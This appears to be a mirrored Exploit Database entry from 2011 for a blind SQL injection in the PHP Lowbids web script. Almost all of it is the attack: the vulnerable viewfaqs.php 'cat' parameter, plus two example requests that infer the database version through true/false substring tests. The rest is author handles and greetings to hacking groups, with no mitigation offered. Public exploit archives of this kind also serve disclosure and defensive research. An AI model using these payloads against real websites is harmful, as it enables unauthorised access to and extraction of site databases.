PHP Lowbids – ‘viewfaqs.php’ Blind SQL Injection

• Exploit Database
• 12 阅读

• 作者： h4ck3r
  日期： 2011-01-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/16020/

• ==
  [+]Script: PHP Lowbids
  [+]Version: n/a
  [+]Link: http://phplowbids.com
  ==
  [+]Author: BorN To K!LL - h4ck3r
  [+]Contact: SQL@hotmail.co.uk
  ==
  [+]3xploit:
  /viewfaqs.php?cat=[Blind-Injection]
  
  [+]3xample:
  /viewfaqs.php?cat=1 and substring(version(),1,1)=4 // true
  /viewfaqs.php?cat=1 and substring(version(),1,1)=5 // false
  
  ==
  [+]Greetings:
  darkc0de team, AsbMay's group, w4ck1ng team , and "Kuwaitis"
  ==